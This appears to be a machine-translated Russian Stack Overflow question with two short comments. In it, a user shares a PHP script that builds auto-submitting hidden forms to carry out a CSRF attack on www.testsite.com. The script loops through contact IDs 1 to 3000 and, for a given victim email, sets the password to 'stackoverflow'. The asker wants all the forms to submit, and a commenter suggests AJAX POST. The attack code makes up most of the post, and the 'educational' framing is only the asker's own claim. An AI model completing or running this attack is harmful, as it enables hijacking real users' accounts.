Для того, чтобы объяснить, что я пытаюсь сделать, вот некоторые факты:Отправка несколько форм на внешний веб-сервер через сообщение
- www.testsite.com не CSRF защищен и можно злоумышленник измените пароль жертвы, если он знает адрес электронной почты жертвы и его уникальный контакт.
- Каждый новый пользователь получает новый идентификатор, просто увеличивая число с 1. На данный момент есть только 3000 contactID; так что означает 1,2,3,4,5,6 -> 3000.
- Если злоумышленники знают электронное письмо жертвы, он может просто продолжать гадать contactID (максимально 3000), а затем он может изменить Это. Я хочу сделать это автоматически.
- Я пытаюсь создать PHP-скрипт, чтобы узнать больше о коде и показать, насколько это просто. Я не злой хакер или что-то близко.
Поэтому я решил, что могу просто использовать цикл, который автоматически увеличивает контактные идентификаторы, а затем отправляет данные на сайт www.testsite.com. Проблема заключается в том, что не отправляет все запросы POST (с ContactId = 1 и еще один с ContactId = 2 и т.д.) ... Вот мой код:
<?php
echo "I set the password to 'stackoverflow'. <br/>";
$mailadres = 1; //startvalue to remove that undefined index php error.
if (isset($_GET['mailadres'])){ //i hate undefined errors
$mailadres = $_GET['mailadres'];
}
if ($mailadres == 1) { //Tell users that you have to submit e-mail via _GET
echo "usage: ./[email protected] <br/>";
}
$contactid = 1; //We begin with one....
while ($contactid <= 3000) { //There are not more contactID's than 3000 at this moment.
echo "<form name='csrf' action='http://www.testsite.com/submit.php' method='POST'>
<input type='hidden' name='contactid' value='{$contactid}'>
<input type='hidden' name='something' value='something'>
<input type='hidden' name='mailadres'' value='{$mailadres}'>
<input type='hidden' name='changepassword' value='stackoverflow'>
</form>
<script>document.csrf.submit();</script>";
$contactid ++; //increment in order to post every contactID.
}
?>
Мой вопрос: Как сделать PHP отправьте все эти формы (contactid = 1 & contactid = 2)
'document.csrf', очевидно, берет первый элемент с таким именем –
Я понимаю, идея - это цикл. Если бы я тоже менял имя, это все равно не сработало бы (да, я пробовал). Спасибо за ваш ответ, оцените любую помощь! – Yahboysurge
Привет, попробуйте использовать ajax post – praveenkrishp